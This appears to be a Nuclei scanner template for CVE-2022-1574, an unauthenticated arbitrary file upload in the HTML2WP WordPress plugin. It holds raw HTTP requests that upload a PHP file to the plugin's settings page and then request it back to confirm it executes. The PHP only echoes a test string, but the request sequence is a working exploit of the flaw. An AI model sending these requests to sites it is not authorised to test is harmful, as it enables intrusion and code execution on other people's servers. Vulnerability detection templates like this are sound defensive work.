nuclei-templates/cves/2022/CVE-2022-1574.yaml

49 lines
1.6 KiB
YAML
Raw Normal View History

2022-10-19 10:16:16 +00:00
id: CVE-2022-1574
info:
name: HTML2WP <= 1.0.0 - Unauthenticated Arbitrary File Upload
author: theamanrawat
severity: critical
description: |
The HTML2WP WordPress plugin through 1.0.0 does not have authorisation and CSRF checks when importing files, and does not validate them, as a result, unauthenticated attackers can upload arbitrary files (such as PHP) on the remote server.
reference:
- https://wpscan.com/vulnerability/c36d0ea8-bf5c-4af9-bd3d-911eb02adc14
- https://nvd.nist.gov/vuln/detail/CVE-2022-1574
- https://wordpress.org/plugins/html2wp/
classification:
cve-id: CVE-2022-1574
metadata:
verified: true
tags: cve,cve2022,wordpress,wp-plugin,wp,fileupload,wpscan,unauthenticated
requests:
- raw:
- |
POST /wp-admin/admin.php?page=html2wp-settings HTTP/1.1
Host: {{Hostname}}
Content-Length: 253
Content-Type: multipart/form-data; boundary=---------------------------7816508136577551742878603990
Connection: close
-----------------------------7816508136577551742878603990
Content-Disposition: form-data; name="local_importing[]"; filename="{{randstr}}.php"
Content-Type: text/html
<?php
echo "File Upload success";
-----------------------------7816508136577551742878603990--
- |
GET /wp-content/uploads/html2wp/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers:
- type: dsl
dsl:
- "status_code_1 == 302"
- "status_code_2 == 200"
- "contains(body_2, 'File Upload success')"
condition: and